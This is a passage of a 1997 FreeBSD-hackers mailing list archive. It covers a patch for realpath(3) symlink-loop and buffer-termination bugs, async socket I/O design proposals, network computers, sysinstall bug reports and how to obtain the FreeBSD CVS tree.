<199705270820.IAA12141@wafu.netgate.net> Received: from localhost (localhost [127.0.0.1]) by chiota.signet.or.jp (8.7.5/) with SMTP id BAA00754; Wed, 28 May 1997 01:17:49 +0900 (JST) To: freebsd-hackers@FreeBSD.ORG Cc: shigio@wafu.netgate.net Subject: Bug fix for realpath(3). Date: Wed, 28 May 1997 01:17:48 +0900 From: Shigio Yamaguchi Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello, hackers. I fixed two bugs in realpath(3). Would you please check this? 1. Realpath goes into infinite loop. % ln -s a b % ln -s b a [user's code] char resolved[MAXPATHLEN]; (void)realpath("a", resolved); /* It will not return */ It should break when over MAXSYMLINKS symbolic links are encountered, like other system calls. 2. Realpath has unsafe code. [user's code] char resolved[MAXPATHLEN]; (void)realpath("xxx", resolved); [realpath's code] n = readlink(p, resolved, MAXPATHLEN); if (n < 0) goto err1; resolved[n] = '\0'; /* It's dangerous */ The last statement may corrupt user's area. I understand it cannot occur in normal case, because the length of symbolic link's value is 1023 at most. But I think following code would be better. n = readlink(p, resolved, MAXPATHLEN - 1); Here is a patch. *** realpath.c.org Wed May 21 22:27:22 1997 --- realpath.c Wed May 28 00:34:47 1997 *************** *** 62,67 **** --- 62,68 ---- struct stat sb; int fd, n, rootd, serrno; char *p, *q, wbuf[MAXPATHLEN]; + int symlinks = 0; /* Save the starting point. */ if ((fd = open(".", O_RDONLY)) < 0) { *************** *** 100,106 **** /* Deal with the last component. */ if (*p != '\0' && lstat(p, &sb) == 0) { if (S_ISLNK(sb.st_mode)) { ! n = readlink(p, resolved, MAXPATHLEN); if (n < 0) goto err1; resolved[n] = '\0'; --- 101,111 ---- /* Deal with the last component. */ if (*p != '\0' && lstat(p, &sb) == 0) { if (S_ISLNK(sb.st_mode)) { ! if (++symlinks > MAXSYMLINKS) { ! errno = ELOOP; ! goto err1; ! } ! n = readlink(p, resolved, MAXPATHLEN - 1); if (n < 0) goto err1; resolved[n] = '\0'; -- Shigio Yamaguchi E-Mail: shigio@wafu.netgate.net Home Page: http://wafu.netgate.net/tama/ From owner-freebsd-hackers Tue May 27 09:20:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA20097 for hackers-outgoing; Tue, 27 May 1997 09:20:53 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA20090 for ; Tue, 27 May 1997 09:20:49 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA15356; Tue, 27 May 1997 09:16:06 -0700 From: Terry Lambert Message-Id: <199705271616.JAA15356@phaeton.artisoft.com> Subject: Re: Correct way to chroot for shell account users? To: peter@grendel.IAEhv.nl (Peter Korsten) Date: Tue, 27 May 1997 09:16:05 -0700 (MST) Cc: mrcpu@cdsnet.net, hackers@FreeBSD.ORG In-Reply-To: <19970526233013.13944@hw.nl> from "Peter Korsten" at May 26, 97 11:30:13 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Anybody got any tips on how to write a secure shell to exec on login to > > set a users environment to the "right thing". > > > > (I don't mean a rsh type secure shell, but rather a good secure thing > > to have in /etc/master.passwd that execs the real shell in a chroot'd > > environment.). > > I don't think you can build a real shell (like sh or csh) and have > it run safely inside a chroot environment. Someone (as a matter of > fact, the FreeBSD security officer :) ) showed me how to break out > of a chroot environment with a simple 'ln' or something like that. Actually, this problem has to do with namei() and the use of NULL to indicate a non-chroot struct file * for the current directory for the process. I've complained about this before. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue May 27 09:58:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA22058 for hackers-outgoing; Tue, 27 May 1997 09:58:50 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA22037 for ; Tue, 27 May 1997 09:58:40 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.5/8.8.5) id LAA00207; Tue, 27 May 1997 11:57:43 -0500 (EST) From: "John S. Dyson" Message-Id: <199705271657.LAA00207@dyson.iquest.net> Subject: Re: async socket stuff In-Reply-To: from Christopher Sedore at "May 27, 97 11:24:22 am" To: cmsedore@mailbox.syr.edu (Christopher Sedore) Date: Tue, 27 May 1997 11:57:39 -0500 (EST) Cc: FreeBSD-Hackers@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > 2. Implementing general async I/O for sockets. Then, rather than (or > perhaps in addition to) the above functionality, you could use the queue > to hold results of async operations. > My general purpose AIO/LIO code works with any file descriptor. It is being tested/debugged as we speak. There is also work to support efficient AIO/LIO on specific types of file descriptors (e.g. raw disks.) John From owner-freebsd-hackers Tue May 27 10:10:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA22525 for hackers-outgoing; Tue, 27 May 1997 10:10:46 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA22520 for ; Tue, 27 May 1997 10:10:40 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA15497; Tue, 27 May 1997 10:06:49 -0700 From: Terry Lambert Message-Id: <199705271706.KAA15497@phaeton.artisoft.com> Subject: Re: async socket stuff To: cmsedore@mailbox.syr.edu (Christopher Sedore) Date: Tue, 27 May 1997 10:06:49 -0700 (MST) Cc: FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Christopher Sedore" at May 27, 97 11:24:22 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I've been thinking about implementing some async socket handling code and > am wondering if someone else is doing this or has done it. I've been > thinking about two different approaches: > > 1. Creating a new ioctl set and a few syscalls to allow you to > associate a socket with something like an NT I/O completion port. This > would allow you to associate a socket descriptor with a queue and each > time the socket's status changed (via sorwakeup or sowwakeup) I'd post an > entry into the queue. The idea is that rather than using select() and > then searching through a list of descriptors, you could just read them off > one (or many) at a time and do I/O on the appropriate descriptors. This > seems to me to be more efficient than select(). > > 2. Implementing general async I/O for sockets. Then, rather than (or > perhaps in addition to) the above functionality, you could use the queue > to hold results of async operations. > > I've also thought of adding a call like NT's TransmitFile() (single call > file transfer). > > Comments? Suggestions? Criticisms? The need for async system calls is a general problem for all system calls which potentially block. It is also an issue for multithreading, which the POSIX threading implemenation uses non-blocking I/O to overcome. Unfortunately, this is not scalable to calls not involving fd's. I suggest an alternate approach which will keep this issue from coming up again, and may in fact be easier to implement. The system call entry into the kernel is defined in the file: /usr/src/libc/i386/SYS.h I suggest the use of an alternate call gate/trap gate (depending on whether or not you're doing it for ELF), and the following additional call: SYS_async ARG0 = WAIT CANCEL Finally, you will need to modify /usr/include/sys/sysent.h: struct sysent { /* system call table */ int sy_narg; /* number of arguments */ + int sy_flags; /* flags for this call*/ sy_call_t *sy_call; /* implementing function */ }; + +#define S_F_CANBLOCK 0x00000001 /* call may block*/ +#define S_F_WILLBLOCK 0x00000002 /* call will block*/ +#define S_F_MUSTBLOCK 0x00000004 /* call must block (ie: async(2))*/ +#define S_F_CANABORT 0x00010000 /* signal may abort call*/ You will also need to define an async operation context record; this record is allocated by the user and passed to all calls through the async call gate. When calling through the gate, it's basically: int async_open( aio_result_t **st, const char *path, int flags, mode_t mode) instead of: int open( const char *path, int flags, mode_t mode) SYS_async with the "WAIT" argument is wrapped as follows: #define async_wait( timeout) async( WAIT, timeout) aio_result_t * async_wait( const struct timeval *timeout) SYS_async with the "CANCEL" argument is wrapped as follows: #define async_cancel( st) async( WAIT, st) int async_cancel( aio_result_t *st) In addition, the "read" and "write" system calls are extended to take fourth and fifth arguments, an offset_t. This is because for async completion, there is no guarantee that the file pointer reference is going to maintain a predictable offset. Thus: ssize_t async_read( aio_result_t *st, int d, void *buf, size_t nbytes, off_t offset, int whence) ssize_t async_write( aio_result_t *st, int d, const void *buf, size_t nbytes, off_t offset, int whence) And aio_result_t: typedef struct aio_result_t { union { int ret_i; quad_t ret_q; } aio_ret; int aio_errno; }; Finally, the return of all async_* calls through the call gate is defined as "error indicator" for the call (ie: -1 for read or write) with the newly defined return value "EASYNC" to indicate that the operation has been asynchronously queued for completion. This lets programs that make the async calls detect immediate completion for operations that do not block (like async_getpid(), etc.) and operations which are capable of blocking, but didn't happen to (S_F_CANBLOCK flag; examples are a read or write, where the requested/written pages are in cache and the requested destination/source address in the user address space is in core, etc.). Such a call gate would be applicable to all system calls, including sockets (I assume you want async completion on socket calls to interleave DNS operations 8-)). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue May 27 10:15:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA22722 for hackers-outgoing; Tue, 27 May 1997 10:15:37 -0700 (PDT) Received: from smtp1.ts.kiev.ua (viking.ts.kiev.ua [193.124.229.195]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA22717 for ; Tue, 27 May 1997 10:15:26 -0700 (PDT) Received: from aviion.ts.kiev.ua by smtp1.ts.kiev.ua with SMTP id TAA13875; (8.8.3/zah/2.1) Tue, 27 May 1997 19:59:57 +0300 (EET DST) Received: from nbki.ipri.kiev.ua by aviion.ts.kiev.ua with ESMTP id RAA00787; (8.6.11/zah/2.1) Tue, 27 May 1997 17:33:42 GMT Received: from cki.ipri.kiev.ua by nbki.ipri.kiev.ua with ESMTP id SAA05160; (8.6.9/zah/1.1) Tue, 27 May 1997 18:41:55 +0100 Received: from 194.44.146.14 (mac.ipri.kiev.ua [194.44.146.14]) by cki.ipri.kiev.ua (8.7.6/8.7.3) with SMTP id TAA02702; Tue, 27 May 1997 19:00:28 +0300 (EET DST) Message-ID: <338AF74F.2E3D@cki.ipri.kiev.ua> Date: Tue, 27 May 1997 18:01:15 +0300 From: Ruslan Shevchenko Reply-To: rssh@cki.ipri.kiev.ua Organization: IPRI X-Mailer: Mozilla 3.01Gold (Macintosh; I; 68K) MIME-Version: 1.0 To: Christopher Sedore CC: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Christopher Sedore wrote: > > I've been thinking about implementing some async socket handling code and > am wondering if someone else is doing this or has done it. I've been > thinking about two different approaches: > > 1. Creating a new ioctl set and a few syscalls to allow you to > associate a socket with something like an NT I/O completion port. This > would allow you to associate a socket descriptor with a queue and each > time the socket's status changed (via sorwakeup or sowwakeup) I'd post an > entry into the queue. The idea is that rather than using select() and > then searching through a list of descriptors, you could just read them off > one (or many) at a time and do I/O on the appropriate descriptors. This > seems to me to be more efficient than select(). What process must do, if it queue is emty ? --- if wait, it's simular to select call. In principle it can be option in general net library. > > 2. Implementing general async I/O for sockets. Then, rather than (or > perhaps in addition to) the above functionality, you could use the queue > to hold results of async operations. > > I've also thought of adding a call like NT's TransmitFile() (single call > file transfer). > why syscoll ? You think, taht it is systel-level stuff ? It can be do in extra library. And about net calls : are somebody know, is exixts TLI compability library ? > Comments? Suggestions? Criticisms? > > -Chris From owner-freebsd-hackers Tue May 27 10:18:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA22872 for hackers-outgoing; Tue, 27 May 1997 10:18:03 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA22853 for ; Tue, 27 May 1997 10:17:42 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA15554; Tue, 27 May 1997 10:13:53 -0700 From: Terry Lambert Message-Id: <199705271713.KAA15554@phaeton.artisoft.com> Subject: Re: Bug fix for realpath(3). To: shigio@wafu.netgate.net (Shigio Yamaguchi) Date: Tue, 27 May 1997 10:13:53 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG, shigio@wafu.netgate.net In-Reply-To: <199705270820.IAA12141@wafu.netgate.net> from "Shigio Yamaguchi" at May 28, 97 01:17:48 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hello, hackers. > I fixed two bugs in realpath(3). Would you please check this? > > 1. Realpath goes into infinite loop. > > % ln -s a b > % ln -s b a > > [user's code] > > char resolved[MAXPATHLEN]; > (void)realpath("a", resolved); /* It will not return */ > > It should break when over MAXSYMLINKS symbolic links are encountered, > like other system calls. It's a library call, but you are right about where it should fail out. 8-). > 2. Realpath has unsafe code. > > [user's code] > > char resolved[MAXPATHLEN]; > (void)realpath("xxx", resolved); > > [realpath's code] > > n = readlink(p, resolved, MAXPATHLEN); > if (n < 0) > goto err1; > resolved[n] = '\0'; /* It's dangerous */ This is actually a bogosity which should be addressed in realpath(3)'s definition. It should probably be: char * realpath(const char *pathname, char resolvedname[MAXPATHLEN+1]) In the manual page, to accout for the NUL. Alternately, it should return a count, just like readlink(), and not NULL terminate the return value. The problem with your fix is that a 1024 byte readlink return is perfectly legal. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue May 27 10:25:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA23382 for hackers-outgoing; Tue, 27 May 1997 10:25:08 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA23376 for ; Tue, 27 May 1997 10:25:05 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id KAA09593; Tue, 27 May 1997 10:02:16 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd009591; Tue May 27 17:02:09 1997 Message-ID: <338B136A.2DDA173E@whistle.com> Date: Tue, 27 May 1997 10:01:30 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Alfred Perlstein CC: "Pedro F. Giffuni" , hackers@FreeBSD.ORG Subject: Re: Experience with Network Computers ? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alfred Perlstein wrote: > > > I've been wondering about those NCs that everyone is talking about. It > > is said they don't come with an OS, and that you need a server. Could > > this server be a FreeBSD box? How do they load the OS, bootp or an > > unstandard service? > > They come with a lot of rom, or a small disk that is responcible for > starting things up possibly they will down load the OS after initializing > the NIC or it will all be in ROM. I don't trust NCs unless they are used > by untrained computer users as the limitations imposed on them to regular > users is too much, on the other hand they would keep inexperianced people > from fubar'ing everything. I've heard that the OS on NCs is NetBSD.. might just be a rumour though.. julian From owner-freebsd-hackers Tue May 27 10:31:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA23825 for hackers-outgoing; Tue, 27 May 1997 10:31:53 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA23820 for ; Tue, 27 May 1997 10:31:51 -0700 (PDT) Received: from gamera.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.45923FF0@mailer.syr.edu>; Tue, 27 May 1997 13:31:24 -0400 Received: from localhost (cmsedore@localhost) by gamera.syr.edu (8.8.5/8.8.5) with SMTP id NAA13132; Tue, 27 May 1997 13:31:18 -0400 (EDT) X-Authentication-Warning: gamera.syr.edu: cmsedore owned process doing -bs Date: Tue, 27 May 1997 13:31:17 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@gamera.syr.edu To: Ruslan Shevchenko cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: <338AF74F.2E3D@cki.ipri.kiev.ua> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Ruslan Shevchenko wrote: > Christopher Sedore wrote: > > > > I've been thinking about implementing some async socket handling code and > > am wondering if someone else is doing this or has done it. I've been > > thinking about two different approaches: > > > > 1. Creating a new ioctl set and a few syscalls to allow you to > > associate a socket with something like an NT I/O completion port. This > > would allow you to associate a socket descriptor with a queue and each > > time the socket's status changed (via sorwakeup or sowwakeup) I'd post an > > entry into the queue. The idea is that rather than using select() and > > then searching through a list of descriptors, you could just read them off > > one (or many) at a time and do I/O on the appropriate descriptors. This > > seems to me to be more efficient than select(). > > What process must do, if it queue is emty ? --- if wait, > it's simular to select call. > In principle it can be option in general net library. Well, there should be an option to wait or timeout (like select). The principal difference is that you don't have to go through all your descriptors to determine which ones are ready for I/O. If I have say 800-900 descriptors this might be a bit costly in terms of performance on a per-transaction basis. > > > > 2. Implementing general async I/O for sockets. Then, rather than (or > > perhaps in addition to) the above functionality, you could use the queue > > to hold results of async operations. > > > > I've also thought of adding a call like NT's TransmitFile() (single call > > file transfer). > > > > why syscoll ? You think, taht it is systel-level stuff ? > It can be do in extra library. It sure could, but you end up with many more system calls, and it is not async. The real advantage to a call like TransmitFile() is that you can send an entire file (or a range of a file) with a single system call, and you can do it async. This means that you can more efficiently implement things like FTP servers, Web servers, pop servers, etc. -Chris From owner-freebsd-hackers Tue May 27 10:46:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA24571 for hackers-outgoing; Tue, 27 May 1997 10:46:54 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA24564 for ; Tue, 27 May 1997 10:46:50 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id KAA27053; Tue, 27 May 1997 10:46:47 -0700 (PDT) To: Mikael Karpberg cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Sysinstall problems... In-reply-to: Your message of "Tue, 27 May 1997 15:39:21 +0200." <199705271339.PAA04141@ocean.campus.luth.se> Date: Tue, 27 May 1997 10:46:47 -0700 Message-ID: <27050.864755207@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > One thing is that sysinstall gives you the choise of ftp sites, including > current.freebsd.org and releng22.freebsd.org. Both those, however, resulted > in sysinstall connecting to "ftp@ftp.freebsd.org", which made things work Whoops - fixed, thanks. :) > Shouldn't sysinstall not only let you set up which port your mouse is on, > but also the type of the mouse, and baudrate and all. Another sheet to Someday. :-) Seriously, I doubt that this will ever be in the current sysinstall. I'll put that on my todo list for the next generation sysinstall, to be released RSN, you betcha. > Also, sysinstall got a SIGSEGV when I accidently choose "FTP", instead of > "FTP Passive" when installing anything (distribution, packages, anything). > The machine is behind a firewall, and so it seems like sysinstall SEGV:s > when the timeout has passed. Hmmm. Might have found a bug in libftpio and timeouts - I'll check it out. > Hope this helps someone. :-) It does indeed, thanks! Jordan From owner-freebsd-hackers Tue May 27 10:53:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA24996 for hackers-outgoing; Tue, 27 May 1997 10:53:19 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA24989 for ; Tue, 27 May 1997 10:53:14 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA01677; Tue, 27 May 1997 19:53:12 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA02292; Tue, 27 May 1997 19:36:02 +0200 (MET DST) Message-ID: <19970527193602.UK60863@uriah.heep.sax.de> Date: Tue, 27 May 1997 19:36:02 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: ee96199@tom.fe.up.pt Subject: Re: FreeBSD CVS Tree References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from ee96199@tom.fe.up.pt on May 27, 1997 15:54:01 +0000 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As ee96199@tom.fe.up.pt wrote: > I was disapointed when I found that the 2.2.1 CD hadn't the CVS tree > in it. :-( IMHO, it's only on the snapshot CDs, since they are more targeted to developers than ``end-users''. > My question now is: Can I ftp the complete tree from a FreeBSD mirror > site as in ftp://ftp.uk.freebsd.org/pub/FreeBSD/FreeBSD-CVS? Use one of the `full' CTM deltas as the starting base. Pick the latest you can find that has an `A' in the name. I once started with cvs-cur.0380A.gz. :-) ^^^^^^^ ^ <== that's what you should watch out for -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue May 27 11:13:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA25997 for hackers-outgoing; Tue, 27 May 1997 11:13:27 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA25985 for ; Tue, 27 May 1997 11:13:22 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id OAA25460; Tue, 27 May 1997 14:12:49 -0400 Date: Tue, 27 May 1997 14:12:49 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > It sure could, but you end up with many more system calls, and it is not > async. The real advantage to a call like TransmitFile() is that you can > send an entire file (or a range of a file) with a single system call, and > you can do it async. This means that you can more efficiently implement ^^^^^^^^^^^^^^^^^^^^^^^^^^ > things like FTP servers, Web servers, pop servers, etc. And the measurements which show this are to be found ... where? I'm not convinced. You've got to pay the cost for this somewhere. "complexity is conserved" -- D. Jensen ron From owner-freebsd-hackers Tue May 27 11:15:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA26045 for hackers-outgoing; Tue, 27 May 1997 11:15:05 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA26036 for ; Tue, 27 May 1997 11:15:02 -0700 (PDT) From: ee96199@tom.fe.up.pt Received: from korky.fe.up.pt (korky.fe.up.pt [192.82.214.50]) by agora.rdrop.com (8.8.5/8.8.5) with SMTP id LAA02959 for ; Tue, 27 May 1997 11:13:23 -0700 (PDT) Received: by korky.fe.up.pt; id AA17836; Tue, 27 May 1997 18:59:27 GMT Received: from localhost by tom.fe.up.pt; (5.65v3.2/1.1.8.2/16Oct95-1216PM) id AA05232; Tue, 27 May 1997 19:00:55 GMT Date: Tue, 27 May 1997 19:00:55 +0000 (GMT) To: Joerg Wunsch Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD CVS Tree In-Reply-To: <19970527193602.UK60863@uriah.heep.sax.de> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, J Wunsch wrote: > As ee96199@tom.fe.up.pt wrote: > > > I was disapointed when I found that the 2.2.1 CD hadn't the CVS tree > > in it. :-( > > IMHO, it's only on the snapshot CDs, since they are more targeted to > developers than ``end-users''. > > > My question now is: Can I ftp the complete tree from a FreeBSD mirror > > site as in ftp://ftp.uk.freebsd.org/pub/FreeBSD/FreeBSD-CVS? > > Use one of the `full' CTM deltas as the starting base. Pick the > latest you can find that has an `A' in the name. I once started with > cvs-cur.0380A.gz. :-) > ^^^^^^^ ^ <== that's what you should watch out for But... what is .../FreeBSD-CVS/ for? Can't I use it for a starting base to CVSup? > > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) > Thanks for your answer. Jorge From owner-freebsd-hackers Tue May 27 11:19:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA26364 for hackers-outgoing; Tue, 27 May 1997 11:19:02 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA26356 for ; Tue, 27 May 1997 11:19:00 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.7.5/8.6.12) with SMTP id LAA21619; Tue, 27 May 1997 11:03:37 -0700 (PDT) Message-Id: <199705271803.LAA21619@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: Host localhost [127.0.0.1] didn't use HELO protocol To: Julian Elischer Cc: Alfred Perlstein , "Pedro F. Giffuni" , hackers@freebsd.org Subject: Re: Experience with Network Computers ? Reply-To: Jason Thorpe From: Jason Thorpe Date: Tue, 27 May 1997 11:03:37 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997 10:01:30 -0700 Julian Elischer wrote: > I've heard that the OS on NCs is NetBSD.. > might just be a rumour though.. That's a fairly correct rumor. (It's fairly public knowledge, actually.) Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: 408.866.1912 NAS: M/S 258-6 Work: 415.604.0935 Moffett Field, CA 94035 Pager: 415.428.6939 From owner-freebsd-hackers Tue May 27 11:26:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA26976 for hackers-outgoing; Tue, 27 May 1997 11:26:34 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA26968 for ; Tue, 27 May 1997 11:26:30 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id OAA02571; Tue, 27 May 1997 14:25:29 -0400 Date: Tue, 27 May 1997 14:25:29 -0400 (EDT) From: Ben Black To: Christopher Sedore cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > It sure could, but you end up with many more system calls, and it is not > async. The real advantage to a call like TransmitFile() is that you can > send an entire file (or a range of a file) with a single system call, and > you can do it async. This means that you can more efficiently implement > things like FTP servers, Web servers, pop servers, etc. > i think we have a terminology problem here. i would honestly be amazed if NT implemented TransmitFile() in the kernel (making it a syscall). i think it more likely that it is a library routine that is built on top of async IO. btw, NT is probably the WORST place to look for inspiration. just look at their TCP sequence generation algorithm. b3n From owner-freebsd-hackers Tue May 27 12:12:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA29095 for hackers-outgoing; Tue, 27 May 1997 12:12:45 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA29090 for ; Tue, 27 May 1997 12:12:43 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id MAA27522; Tue, 27 May 1997 12:11:01 -0700 (PDT) To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: hackers@FreeBSD.ORG, ee96199@tom.fe.up.pt Subject: Re: FreeBSD CVS Tree In-reply-to: Your message of "Tue, 27 May 1997 19:36:02 +0200." <19970527193602.UK60863@uriah.heep.sax.de> Date: Tue, 27 May 1997 12:11:01 -0700 Message-ID: <27519.864760261@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As ee96199@tom.fe.up.pt wrote: > > > I was disapointed when I found that the 2.2.1 CD hadn't the CVS tree > > in it. :-( > > IMHO, it's only on the snapshot CDs, since they are more targeted to > developers 